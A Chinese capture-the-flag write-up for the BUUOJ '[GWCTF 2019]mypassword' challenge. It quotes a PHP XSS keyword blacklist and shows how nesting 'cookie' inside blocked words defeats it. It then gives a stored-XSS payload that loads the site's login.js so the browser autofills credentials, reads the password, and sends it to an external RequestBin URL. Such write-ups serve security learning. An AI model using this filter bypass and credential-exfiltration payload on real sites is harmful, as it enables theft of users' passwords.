buuoj_js


[GWCTF 2019]mypassword

這道題(不只這道題以后也一定)要注意控制台中的信息,給出了login.js代碼,會把當前用戶的用戶名和密碼填入表單

 

注冊個賬號,登錄之后給提示不是注入題

 

瀏覽一下網站功能,feedback頁面可以提交反饋消息, list中可以查看和刪除消息內容,發現feedback.php頁面有注釋

<!-- 
            if(is_array($feedback)){
                echo "<script>alert('反饋不合法');</script>";
                return false;
            }
            $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
            foreach ($blacklist as $val) {
                while(true){
                    if(stripos($feedback,$val) !== false){
                        $feedback = str_ireplace($val,"",$feedback);
                    }else{
                        break;
                    }
                }
            }
            -->

 

審計代碼可以看出對輸入的內容有過濾,但是只是替換為空很容易繞過,例如是incookieput的話,替換后會剩下input。由於login.js中有記錄密碼的功能,所以我們可以構造一個表單在feedback頁面提交,在 http://http.requestbin.buuoj.cn (RequestBin提供了一個URL,該URL將收集對其發出的請求,首頁點擊create a requestbin)頁面接收flag

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/11uk8c71/?a="+psw;
</scrcookieipt>

 

 

參考:

http://www.ch4ser.top/2019/04/22/XSS%E9%A2%98%E5%9E%8B%E8%AE%B0%E5%BD%95/

http://www.tan90deg.cn/index.php/00000/131.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM